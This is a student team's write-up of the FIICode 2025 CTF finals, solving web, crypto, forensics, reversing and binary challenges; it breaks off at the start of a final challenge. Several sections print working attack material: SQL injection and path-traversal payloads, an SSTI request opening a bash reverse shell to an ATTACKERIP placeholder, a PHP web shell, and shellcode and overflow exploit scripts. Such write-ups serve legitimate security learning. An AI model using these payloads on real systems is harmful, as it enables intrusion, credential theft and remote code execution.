FIICode 2025 Finals
Team members
- Mitrache Stefan Ioan
- Pirneci David Andrei
- Nae Bogdan
Introduction
FIICode CTF 2025 marked the tenth anniversary of one of Romania’s premier student-run programming festivals, organized by the Computer Science Students’ Association in Iași (ASII) in partnership with the Faculty of Computer Science at “Alexandru Ioan Cuza” University. We had a lot of fun in this 24h CTF competition which truly tested our limits physically and mentally. The organizers really invested their time in making these challenges very mind-bending and we are looking forward to participating next year.
Eggsploit
Summary
SQLi → SSRF + LFI → SSTI
Step by step
On route http://192.168.30.181:5041/orders.php
notice when putting `
that we get Error running query: unrecognized token: "'"
What’s more, looking into Burp Suite, we see <!-- <p>Executed Query: SELECT * FROM orders WHERE item LIKE '%'%'</p> -->
. So, easy SQLi.
Walkthrough to first part of flag:
%' UNION SELECT 1 -- -
- error (> 1 columns)
%' UNION SELECT 1,2 -- -
- error (> 2 columns)
%' UNION SELECT 1,2,3 -- -
- error (> 3 columns)
%' UNION SELECT 1,2,3,4 -- -
- bingo
1
2
3
4
[id] => 1
[item] => 2
[quantity] => 3
[customer] => 4
%' UNION SELECT name, 2, 3, 4 FROM sqlite_master WHERE type='table' -- -
- bingo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<tr>
<td>Array
(
[id] => flag
[item] => 2
[quantity] => 3
[customer] => 4
)
</td>
</tr>
<tr>
<td>Array
(
[id] => orders
[item] => 2
[quantity] => 3
[customer] => 4
)
</td>
</tr>
<tr>
<td>Array
(
[id] => sqlite_sequence
[item] => 2
[quantity] => 3
[customer] => 4
)
</td>
</tr>
<tr>
<td>Array
(
[id] => users
[item] => 2
[quantity] => 3
[customer] => 4
)
</td>
</tr>
%' UNION SELECT sql, 2, 3, 4 FROM sqlite_master WHERE tbl_name='flag' -- -
- bingo
1
2
3
4
[id] => CREATE TABLE flag (flag_pt_1 TEXT)
[item] => 2
[quantity] => 3
[customer] => 4
%' UNION SELECT flag_pt_1, 2, 3, 4 FROM flag -- -
- bingo
1
2
3
4
[id] => FIICODE25{ch1ck3n
[item] => 2
[quantity] => 3
[customer] => 4
%' UNION SELECT username || ':' || password, 2, 3, 4 FROM users -- -
1
2
3
4
[id] => admin:Fall3nChicken
[item] => 2
[quantity] => 3
[customer] => 4
Admin credentials: admin:Fall3nChicken
Dirsearch → admin.php
Classic SSRF
See placeholder URL http://127.0.0.1:5000
Make request → {"v2": "/api/v2/"}
[http://127.0.0.1:5000/api/](http://127.0.0.1:5000/api/v2)v2
→
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"GET /api/v2/order": {
"description": "Get a JSON order by base64-encoded ID.",
"example": "/api/v2/order?id=MQ=="
},
"POST /ap1/v2/complaint": {
"description": "Submit a complaint.",
"example": {
"curl": "curl -X POST http://host:5000/ap1/v2/complaint -H 'Content-Type: application/json' -d '{\"complaint\":\"this app sucks\"}'"
}
},
"POST /api/v2/orders": {
"description": "Submit a new order (auto ID assigned).",
"example": {
"curl": "curl -X POST http://host:5000/api/v2/orders -H 'Content-Type: application/json' -d '{\"customer\":\"ionut\",\"items\":[\"chicken leg\"]}'"
}
}
}
v2 huh? so v1?
[http://127.0.0.1:5000/api/](http://127.0.0.1:5000/api/v2)v1
→
1
2
3
4
5
6
7
{
"GET /api/v1/order": {
"description": "Get a JSON order by base64-encoded file name.",
"example": "/api/v1/order?file=order_1.json"
},
"HINT": "Try Harder\nTry Harder\nTry Harder\n"
}
lfi
http://127.0.0.1:5000/api/v1/order?file=../../../../../../../etc/passwd
→ works
http://127.0.0.1:5000/api/v1/order?file=../../../../../../../flag
→ guessy …
1
2
3
4
Part2: _pwn_p13_tod4y
Hint for the last part:
Redis default port
^ this is intended, but I did it a bit differently. I will share my method.
so I didn’t think about flag in root. I thought flag.txt, or in home/karen. whatever
let’s solve with lfi only
http://127.0.0.1:5000/api/v1/order?file=../../../../../../../proc/7/cmdline
→
python30d6e4079e36703ebd37c00722f5891d28b0e2811dc114b129215123adcce3605.py
http://127.0.0.1:5000/api/v1/order?file=../../../../../../../proc/7/environ
→
HOSTNAME=b029467d23b5PWD=/apps/internalHOME=/rootSHLVL=0PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binOLDPWD=/var/www/html_=/usr/bin/python3
1
2
3
4
5
6
7
8
from flask import Flask, request, render_template_string
app = Flask(__name__)
FLAG = "Part3: _only_at_c0c0ric0}"
app.config['FLAG'] = "Part3: _only_at_c0c0ric0}"
AUTH_TOKEN = "supersecrettoken123"
Here I was like: wtf, part 3? as I did not have part 2. but we had ssti in this new file, so I used following payload: (replaced my ip with ATTACKERIP)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin.php HTTP/1.1
Host: 192.168.30.181:5041
Content-Length: 340
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.30.181:5041
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.30.181:5041/admin.php
Accept-Encoding: gzip, deflate, br
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJDaGlja2VuTWFmaWEiLCJpYXQiOjE3NDc1MTI2MzQsImV4cCI6MTc0NzUxNjIzNCwidXNlcm5hbWUiOiJhZG1pbiJ9.z_e6_tCOOq2lOPFxuJo0sXgzyq4GM5hvittNEm7FX0I
Connection: keep-alive
url=http%3A%2F%2F127.0.0.1%3A6379%2Fdocument%3Fid%3D%257B%257B%2520cycler.__init__.__globals__.os.popen%2528%2522bash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252FATTACKERIP4%252F3000%25200%253E%25261%2527%2522%2529.read%2528%2529%2520%257D%257D%250A3&method=GET&headers=Authorization%3A+supersecrettoken123&body=
Once in rev shell, I found /flag and so completed the challenge.
I actually liked my method more, even if it was unintended.
FIICODE25{ch1ck3n_pwn_p13_tod4y_only_at_c0c0ric0}
Vibe Coder
Summary
JWT Secret in mixed case HTML tags → PHP File upload as mp3 → Upload web shell
Step by step
Notice on login page weird tags that have one uppercase letter. Extract all letters → ASIIRULS. Register with any account → Verify if that string is secret (it is) → Make new token with artist = 1
Find /dev route by dirsearch → upload.php
Take any mp3 and put it in correct format for request
Add a line in the middle with
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
and set file name to test.mp3%00.php
Then, access http://192.168.30.175:5054/resources/songs/test.mp3%2500.php?cmd=cat /flag.txt
and voila
FIICODE25{lantur1_p3_php}
Message
Summary
Vigenere Cipher brute force in dcode
Step by step
Write down string in dcode, put in Cipher Identifier → Vigenere Cipher → Automatic Decryption → Voila
FIICODE25{CRYPTO}
Colors
Summary
5 green, 2 red → 5 good chars, 2 bad chars?
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def process_file(filepath):
result = ""
with open(filepath, 'r') as file:
for line in file:
line = line.strip()
# Get characters at odd positions (index 0, 2, 4, 6, 8)
odd_chars = line[::2]
# Take only the first 5
first_five_odd = odd_chars[:6]
result += first_five_odd
return result
if __name__ == "__main__":
filepath = "a.txt"
message = process_file(filepath)
print("Extracted message:")
print(message)
How? I noticed that if you take odd chars you get TUDOR and saw how last few chars are discarded on each row so I made the correlation. but I don’t know why you actually have to grab 6 instead of 5? In any case, I ran script, replaced _ with space and voila. Even though I don’t know why.
FIICODE25{TUDOR TOGHETER WITH HIS FRIENDS AND HIS TEACHERS WERE ABLE TO CREATE CTF EXERCICES FOR THIS ANNUAL CONTESTXD}
World War II
Summary
Morse code from WAV, ADFGX Cipher → Key encoded with Vigenere cipher → The rest is encoded with transposition cipher with said key
Step by step
Online morse code decoder from WAV file
3 suspicious strings. Longest one is being identified as ADFGX in dcode
Use SECONDWORLDWAR
as keyword and RVDAYFTNLGXCPBQWHIOKUMZES
as square grid
RHANRAENTPDNETTORASLDORDBISLEALANOTFTAOENTWIOOSERENFETTRIGOOEHRFCTHELLNUNLALRELMIRSEDPSHUYTTHDTREKEYDAIQ
notice KEY and Vigenere hint in description
Take DAIQ
and decode from Vigenere with AXIS
password → DDAY
Remove keydaiq
from string as it’s just the key
RHANRAENTPDNETTORASLDORDBISLEALANOTFTAOENTWIOOSERENFETTRIGOOEHRFCTHELLNUNLALRELMIRSEDPSHUYTTHDTRE
Try them all until Transposition Cipher works with DDAY. Bingo!
FIICODE25{BERLINHASFALLENRETREATALLREMAININGTROOPSTODEFENDTHEPARTSOFTHECOUNTRYTHATWESTILLHOLDDONOTSURRENDER}
ResidualEvidence
Summary
Windows ISO Installer with modified install.wim that contains 2 exe’s (one repeated 10 times in different folders), one encrypted exe in registry key and PNG’s
deceiver.png → Windows folder → Werewolf.exe → VanHelsing.exe (key 123 decimal aka 7B in hex) → inga.txt (decrypted with key) → Frankenstein.exe (base64 encoded and XOR’d with 7B 0D, found by XOR’ing with exe header)
Step by step
Extract the image file given, look in sources and see modified date for install.wim. Open in poweriso, select education (challenge description) and extract to folder.
Make Python script to highlight files that have been modified in 2025
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
📅 Files modified in 2025:
- Bob\Windows\System32\config\SOFTWARE (modified on 2025-05-11 20:44:41)
- Bob\Windows\System32\config\SOFTWARE{2ad8386c-efea-11ee-a54d-000d3a94eaa1}.TM.blf (modified on 2025-05-11 20:44:41)
- Bob\Windows\GameBarPresenceWriter\inga.txt (modified on 2025-05-11 20:21:20)
- Bob\Windows\System32\drivers\wretch.sys (modified on 2025-05-11 20:05:38)
- Bob\Windows\appcompat\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\apppatch\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\AppReadiness\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\DigitalLocker\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\ELAMBKUP\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Fonts\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\GameBarPresenceWriter\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Resources\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\schemas\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Web\VanHelsing.exe (modified on 2025-05-11 18:08:08)
- Bob\Windows\Werewolf.exe (modified on 2025-05-11 18:01:37)
- Bob\Users\Public\Downloads\beware_of_monsters.png (modified on 2025-05-11 17:58:04)
- Bob\Users\Public\Downloads\lets_take_a_short_walk.png (modified on 2025-05-11 17:53:17)
- Bob\Users\Public\Downloads\hello_there.png (modified on 2025-05-11 17:49:27)
- Bob\Windows\System32\config\SOFTWARE{2ad8386c-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms (modified on 2025-05-11 17:37:29)
- Bob\Windows\System32\config\SOFTWARE{2ad8386c-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms (modified on 2025-05-11 17:37:29)
- Bob\Users\Public\Downloads\deceiver.png (modified on 2025-05-11 14:24:20)
Extract the 4 images and notice that deceiver.png contains morse + characters? can’t make sense of them
Run exiftool: deceiver.png has data appended to it
Run xxd deceiver.png | tail
and get
1
2
3
001d1f80: 616e 5f73 7461 7274 5f54 616b 655f 615f an_start_Take_a_
001d1f90: 6c6f 6f6b 5f69 6e5f 7769 6e64 6f77 735f look_in_windows_
001d1fa0: 666f 6c64 6572 82 folder.
Sure, off to Windows we go.
We have 2 binaries: Werewolf.exe and VanHelsing.exe
Find:
1
2
RegGetValueA(HKEY_LOCAL_MACHINE, "Software\\VanHelsing", "Inga", 0x10u, 0LL, &pvData, &pcbData);
if ( pvData == 123 )
(Keep in mind 123 for later)
We have 10 folders modified recently. Each appears in werewolf.exe.
GameBarPresenceWriter
has inga.txt. Encrypted with XOR with key 7B (123 in decimal).
1
2
"Invention, it must be humbly admitted, does not consist in creating out of void, but out of chaos."
What a strange substracting mail client...
Boot up Registry Explorer & load SOFTWARE hive:
Last modified file: wretch.sys in Drivers
The wretch value in the registry is base64 encoded and when decoded and xor’d with “7b 0d” gives another binary which does absolutely nothing
How did I think about 7b 0d? I saw the repeating patterns in the base64 which suggested binary, and along with the first 2 bytes, I thought about XOR’ing with MZ (.exe header) and got 7B 0D. XORing with that resulted in a working .exe file.
FIICODE25{7ou_re_not_@fr@id_ar3_n_t_yo$?_just_look_b3hind_y@u}
VeilOfObfuscarion
Summary
Inversion of four-layer obfuscation applied to the input.
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from Crypto.Cipher import AES
seed = 0x0DEADBEEFC0FFEE # qword_4010
rc4_key = b"FIXEDRC4KEY1234\x00" # byte_2130 ^ 0xAA
aes_key = b"AESCHALLENGEKEY\x00" # byte_2120 ^ 0x5A
hex_str = (
"21212121212121212121212121212121212121215f3d7444396d40563a4224285b2470385230722a45"
"756566362a57354b6169235630394a2349734c7138266d722c3f5c365a423c44743e712c2663284e5"
"9676f38356d6347756e53386469676b44633b00"
)
# 1) HEX → bytes, then strip exactly one trailing 0x00
data = bytes.fromhex(hex_str)
if data and data[-1] == 0:
data = data[:-1]
# 2) Custom Base-85 decode (5 bytes → 4 bytes)
def base85_decode(blob: bytes) -> bytes:
out = bytearray()
for i in range(0, len(blob), 5):
v = 0
for c in blob[i:i+5]:
v = v * 0x55 + (c - 33)
out.extend(v.to_bytes(4, 'big'))
return bytes(out)
cipher_full = base85_decode(data)
# 3) AES-CBC decrypt (zero IV), skip 16-byte zero prefix, strip PKCS#7
cipher = AES.new(aes_key, AES.MODE_ECB)
cts = cipher_full[16:]
pt = bytearray()
prev = b'\x00' * 16
for i in range(0, len(cts), 16):
block = cts[i:i+16]
dec = cipher.decrypt(block)
pt.extend(x ^ y for x, y in zip(dec, prev))
prev = block
pad_len = pt[-1]
pt = pt[:-pad_len]
# 4) RC4 decrypt (symmetric)
def rc4_decrypt(data: bytes, key: bytes) -> bytes:
S = list(range(256)); j = 0
# KSA
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
# PRGA + XOR
out = bytearray(); j = 0
for idx, b in enumerate(data, start=1):
j = (j + S[idx & 0xFF]) & 0xFF
S[idx & 0xFF], S[j] = S[j], S[idx & 0xFF]
ks = S[(S[idx & 0xFF] + S[j]) & 0xFF]
out.append(b ^ ks)
return bytes(out)
step4 = rc4_decrypt(pt, rc4_key)
# 5) Invert PRNG-XOR (with 64-bit wraparound before mod)
def undo_prng_xor(data: bytes, seed: int) -> bytes:
M = 0x7A2F274EECA94AC2
out = bytearray(); v7 = seed
for c in data:
v9 = ((v7 * v7) & 0xFFFFFFFFFFFFFFFF) % M
out.append(c ^ (v9 & 0xFF))
v7 = v9
return bytes(out)
flag = undo_prng_xor(step4, seed)
print("Recovered flag:", flag.decode("ascii"))
I spotted the four distinct layers in the decompiled code: a custom PRNG-XOR loop, an RC4 stage with a 16-byte key from .rodata ^ 0xAA
, an AES-CBC stage(key from .rodata ^ 0x5A
, zero IV, PKCS#7), and finally a Base64 → hex dump.
By dumping and XOR-ing the two 16-byte arrays I got exact ASCII keys("FIXEDRC4KEY1234"
and "AESCHALLENGEKEY"
).
The only pitfalls were stripping exactly one null before Base-85 decoding (so (c–33) never goes negative) and emulating the 64-bit overflow in Python’s PRNG inversion (& 0xFFFFFFFFFFFFFFFF).
Taking all these steps into consideration, we get the flag:
FIICODE25{1f_1t_w3r3_that_3asy_1t_wouldn_t_be_a_chall3ng3}
LFSRk
Summary
Four output bytes + a brute-force over the 2¹⁶ = 65536 possible states of the first register are enough to break the implementation.
Step by step
-
Collect the keystream
Call the public procedure Trans four times and record the four output bytes $Z_1, Z_2, Z_3, Z_4$(32 bits total).
-
Size the search space for LFSR1
The first register is 17 bits long, but bit 9 is hard-wired to 1 during Init.
Only 16 bits remain unknown → $2^{16} = 65536$ candidate states.
-
Simulate each candidate state
For every one of those 65536 states, run LFSR1 for 32 clocks (4 × 8) and note the four bytes $x_0,x_1,x_2,x_3$ it would output.
-
Derive LFSR2’s bytes
Use the public rule
$Z_i = (x_i+y_i+c_i)\space\space\space(mod\space\space 256)$
(updating the carry each time) to recover the corresponding bytes $y_0,y_1,y_2,y_3$ produced by LFSR2.
-
Reconstruct LFSR2’s initial state
The first 25 bits of the $y$-stream form a full-rank linear system over GF(2); solving it yields a single viable 25-bit state.
Verify it by checking that it continues to generate the rest of the $y$-stream; otherwise reject the current LFSR1 candidate.
-
Stop at the first match
As soon as one candidate passes the check in step 5, both registers are known and the whole keystream(hence any ciphertext) can be reproduced.
The attack finishes after at most 65536 such candidate trials
Since the decisive effort is those 65536 simulations, the required step count—and therefore the flag is
FIICODE25{65536}
XOR
Summary
Because the encryption is byte-wise XOR with a random one-time pad, every ciphertext byte is C = M ⊕ K
.
Step by step
If you already know part of the plaintext (the victim’s name + account) you can recover the corresponding key bytes and re-encrypt any other text of the same length. That lets an attacker substitute his own name and(almost all of) his account number without ever learning the whole key. The flag therefore has to encode the two pieces of information that matter:
1
2
3
4
5
FIICODE25{
nume_persoana_cont_persoana -> the part we know
_xor_
nume_adversar_cont_adversa -> the part we inject
}
- Grab the known key bytes:
Kseg = Cseg ⊕ (nume_persoana‖cont_persoana)
- Forge new data of the same length (except the final byte):
forge = nume_adversar‖cont_adversa # same number of bytes as we know
- Replace the segment inside the packet
C′seg = Kseg ⊕ forge
full_ciphertext = C[0:start] ‖ C′seg ‖ C[end:]
Flag:
FIICODE25{nume_persoana_cont_persoana_xor_nume_adversar_cont_adversa}
Reverse Poetry
Summary
The file result.bin
is the poem run through four homemade encoders, then concatenated.
Step by step
Each encoder is fully reversible because it only:
- permutes bytes with a key that can be recomputed, or
- XOR-s bytes with a keystream(XOR is its own inverse), o
- maps bytes to printable symbols through a 1-to-1 lookup table.
By isolating the four chunks and applying the inverse of each encoder in reverse order, we retrieve the plaintext poem.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import struct
def mc(s, bits=32):
v = 0
for c in s.encode():
v = (v << 8) | c
return v & ((1 << bits) - 1)
YO = mc("YO")
DUDE = mc("DUDE")
KEY1 = 0xFA29516E
BAU = mc("BAU", 16)
def dec1(b):
d = bytearray(b)
n = len(d)
k = struct.unpack_from("<I", d, n - 4)[0]
struct.pack_into("<I", d, n - 4, k ^ KEY1)
for i in range(n - 4):
enc = d[i]
for v in range(256):
if (v * (k + YO) + DUDE) & 0xFF == enc:
d[i] = v
break
k = ((k << 8) | (k >> 24)) & 0xFFFFFFFF
return bytes(d)
def dec2(b):
d = bytearray(b)
n = len(d)
k = ((d[0] << 8) ^ d[-1] ^ BAU) & 0xFFFF
for i in range(1, n - 2, 2):
w = d[i] | (d[i + 1] << 8)
w ^= k
d[i] = w & 0xFF
d[i + 1] = (w >> 8) & 0xFF
return bytes(d)
def dec3(b):
d = bytearray(b)
n = len(d)
p = n // 4
idx = [n % p, n % (p + 2), n % (p + 7), n % (p + 11)]
k = idx[0] | (idx[1] << 8) | (idx[2] << 16) | (idx[3] << 24)
pos = 0
while pos < n:
if pos in idx:
pos += 1
continue
d[pos] ^= ((k % 15) * 16 + (k // 16)) & 0xFF
k = ((k << 4) | (k >> 28)) & 0xFFFFFFFF
pos += 1
return bytes(d)
ABC = b"q1w2e3r4t5y6u7i8o9p0-=_+{}[]|asdfghjkl;':zxcvbnm,./<>?"
L = len(ABC)
LOOK = {c: i for i, c in enumerate(ABC)}
def dec4(b):
if len(b) & 1: raise ValueError
out = bytearray(len(b) // 2)
for i in range(0, len(b), 2):
x = LOOK[b[i]]
y = LOOK[b[i + 1]]
out[i // 2] = x * L + y
return bytes(out)
DELIM = b"\r\n\r\n"
B0 = 0x83
def split(data):
b0, rest = data[:B0], data[B0:]
s = set(ABC)
cut = len(rest)
while cut and rest[cut - 1] in s:
cut -= 1
if (len(rest) - cut) & 1:
cut -= 1
b3, mid = rest[cut:], rest[:cut]
for g in range(4, len(mid) - 4, 2):
if dec2(mid[:g]).endswith(DELIM):
return b0, mid[:g], mid[g:], b3
raise RuntimeError("block-split failed")
def main():
raw = open("result.bin", "rb").read()
b0, b1, b2, b3 = split(raw)
poem = (dec1(b0) + dec2(b1) + dec3(b2) + dec4(b3)).rstrip(b"\0").decode()
print(poem)
if __name__ == "__main__":
main()
Result in terminal:
1
2
3
4
Out of the night that covers me,
Black as the pit from pole to pole,
...
I am the captain of my soul.
Searching for these lines, the flag is revealed:
FIICODE25{invictus}
Bleed The Freak
Summary
The binary leaks the address of a user-supplied buffer and has an executable stack(NX is off). By combining the buffer leak with a classic shellcode injection and ret-to-stack, we overwrite the return address and land directly in our code to pop a shell.
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
# Remote service
host, port = '192.168.30.181', 5004
p = remote(host, port)
# Parse the leak
line = p.recvline_contains(b"Buffer starts here")
buf_addr = int(line.split()[-1], 16)
log.info(f"leaked buf addr = {hex(buf_addr)}")
# Calculate offset
offset = 142 # found via cyclic pattern
# Build shellcode payload
sc = asm(shellcraft.sh()) # ~25-byte /bin/sh shellcode
pad = offset - len(sc)
payload = sc + b"\x90"*pad + p32(buf_addr)
# Send and get shell
p.send(payload)
p.interactive()
- Leak: The program prints
Buffer starts here 0x…
, so we know exactly where our input lands on the stack. - Offset: A cyclic‐pattern crash shows that the saved return address lives 142 bytes from the start of our buffer.
- Shellcode: Since the stack is executable, we drop a small Linux/x86 execve(
/bin/sh
) stub at the front of our input and pad the rest with NOPs. - Ret-to-stack: We overwrite EIP with the leaked buffer address, so execution jumps right into our shellcode.
Once the shell spawns, run cat /flag.txt
to retrieve the flag:
FIICODE25{pwn_stal3y}
PINCODE
Summary
An arbitrary ascending-digit PIN $P$ always maps to 2017 after Tudor’s “999×→digit-sum→insert” transformation.
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import itertools
def transform(pin):
# 1) Multiply by 999
P = int(pin)
A = P * 999
# 2) Sum the digits of A
S = str(sum(map(int, str(A))))
s1, s2 = S[0], S[1]
# 3) Insert all digits < s1 between s1 and s2
insert = ''.join(str(d) for d in range(int(s1)))
return f"{s1}{insert}{s2}"
# Brute-force all ascending-digit PINs of length ≥2
all_pins = (
''.join(map(str, comb))
for L in range(2, 10)
for comb in itertools.combinations(range(10), L)
)
# Check they all map to "2017"
assert all(transform(pin) == "2017" for pin in all_pins)
print("Verified: every ascending-digit PIN → 2017")
The flag is:
FIICODE25{2017}
LABIRINT
Summary
Each maze-file is either plain-text (only the very first one) or RC-4-encrypted with a key equal to the CRC-32 of the shortest solution of the previous maze, written as an 8-digit, zero-padded, uppercase ASCII hex string. By solving a maze with BFS, hashing the resulting "UDLR…"
path, and using that hash as the key for the next file, we can chain our way through the eight series (64 mazes total). The CRC-32 obtained after the last maze in folder 8_2401
is the archive password and therefore the flag.
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from collections import deque
from pathlib import Path
TABLE = []
for i in range(256):
crc = i
for _ in range(8):
crc = (crc >> 1) ^ (0xEDB88320 if crc & 1 else 0)
TABLE.append(crc)
def crc32_ctf(s: str) -> int:
crc = 0xFFFFFFFF
for b in s.encode():
crc = (crc >> 8) ^ TABLE[(crc ^ b) & 0xFF]
return crc
def rc4(key_ascii: str, data: bytes) -> bytes:
S = list(range(256))
j = 0
k = key_ascii.encode()
for i in range(256):
j = (j + S[i] + k[i % len(k)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
out = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(byte ^ S[(S[i] + S[j]) % 256])
return bytes(out)
DIRS = [(-1,0,'U'), (1,0,'D'), (0,-1,'L'), (0,1,'R')]
def shortest_path(maze_str: str) -> str:
grid = [list(line.rstrip('\r'))
for line in maze_str.splitlines()
if line and line[0] in '#.SX']
h, w = len(grid), len(grid[0])
for r in range(h):
for c in range(w):
if grid[r][c] == 'S': start = (r,c)
if grid[r][c] == 'X': goal = (r,c)
q, parent, move = deque([start]), {start: None}, {}
while q:
r,c = q.popleft()
if (r,c) == goal:
path = []
while parent[(r,c)]:
path.append(move[(r,c)])
r,c = parent[(r,c)]
return ''.join(reversed(path))
for dr,dc,ch in DIRS:
nr,nc = r+dr, c+dc
if 0<=nr<h and 0<=nc<w and grid[nr][nc]!='#' and (nr,nc) not in parent:
parent[(nr,nc)] = (r,c)
move [(nr,nc)] = ch
q.append((nr,nc))
raise ValueError('No path')
def solve_folder(folder: Path, incoming_key: str) -> str:
key = incoming_key
for k in range(8):
data = (folder / f'in_{k}.bin').read_bytes()
if key:
data = rc4(key, data)
maze = data.decode('ascii')
sol = shortest_path(maze)
key = f'{crc32_ctf(sol):08X}'
(folder / f'out_{k}.bin').write_text(sol)
return key
root = Path('.')
series = ['1_21','2_101','3_301','4_501',
'5_1001','6_1501','7_2001','8_2401']
next_key = None
for idx, folder in enumerate(series):
print(f'=== Series {idx+1} ===')
next_key = solve_folder(root/folder, next_key or '')
print(' key for next =', next_key)
flag = f'FIICODE25{{{next_key}}}'
print('\nFLAG =', flag)
The script chains through 64 mazes by treating every in_k.bin
(except the very first) as RC4-encrypted with a key equal to the CRC-32(init=0xFFFFFFFF, no final XOR) of the previous maze’s shortest “UDLR…”
path, written as an 8-char uppercase hex string. It precomputes a CRC table (crc32_ctf
), defines rc4(key_ascii, data)
to decrypt with that ASCII key, and shortest_path(maze_str)
to run a 4-way BFS, backtrack from X
to S
, and return the unique minimal move string.
solve_folder()
loops k=0…7
, reads in_k.bin
, runs RC4 if a key exists, decodes, solves, writes out_k.bin
, then updates the key to crc32_ctf(solution):08X
. The main loop passes this key through folders 1_21
→8_2401
; after the last maze it prints FIICODE25{<final_CRC>}
, which is the ZIP password and flag:
FIICODE25{66C13A39}
SongOftheSilentCanary
Summary
The binary reads a 4-byte magic (0xCAFEBABE
), then calls __fread_chk
with a 260-byte bound into a 256-byte buffer. By requesting to read 257 bytes, we overflow exactly one byte into the adjacent v9
variable, satisfy its checks, and trigger the code path that opens and prints /flag.txt
.
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import struct
MAGIC = 0xcafebabe
OVERLEN = 257 # tiny overflow
FILLER = b'A' * 256
OVERBYTE = b'\x01' # sets v9 low‐byte ≠ 0
payload = (
struct.pack('<I', MAGIC) + # 0–3: magic
b'XXXX' + # 4–7: junk for the first fread’s second half
struct.pack('<I', OVERLEN) + # 8–11: v6 for second fread
FILLER + # 12– (12+255): buffer fill
OVERBYTE # 1-byte overflow into v9
)
with open('exploit.bin','wb') as f:
f.write(payload)
print(f"Exploit is {len(payload)} bytes")
Magic check
The program begins by calling fread(&v7, 4, 2)
, expecting two 4-byte values. We pack the first value as 0xCAFEBABE
so that the comparison v7 == 0xCAFEBABE
succeeds and execution continues.
Length setup
Next it reads a 4-byte unsigned integer (v6
) and passes that into __fread_chk
with a built-in limit of 260 bytes. By choosing v6 = 257
, we stay under the 260-byte bound yet read one byte past the 256-byte buffer, overflowing into the adjacent v9
variable.
Overflow and conditions
Our payload provides 256 filler bytes (e.g. b'A'*256
) followed by a single non-zero byte (\x01
). That extra byte lands in the low byte of v9
, satisfying (_BYTE)v9 != 0
while leaving the high-bit check (v9 & 0x10000) == 0
untouched.
Flag retrieval
With both the magic and overflow checks passed, the code executes open("/flag.txt", O_RDONLY)
and writes its contents to stdout. Feeding the crafted exploit.bin
into the binary immediately prints the flag on the remote server:
FIICODE25{canary_intact_flag_popped}
INTERSECTIE
Summary
We exploit the file layout—matrix A immediately followed by a blank line and matrix B—to solve the O(N²) intersection in a single stream pass with ≈ O(1) RAM. Lines up to the first blank row are spooled into a NamedTemporaryFile("w+")
; after seek(0)
this temp file and the remainder of the original handle provide synchronous row access to A and B. Each token is parsed to a set<int>
, intersected, summed into a 64-bit accumulator, and flushed to result.txt
on the fly. Peak memory is one row; runtime on the 10 000² data set is < 1 h on SSD.
Step by step
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pathlib import Path
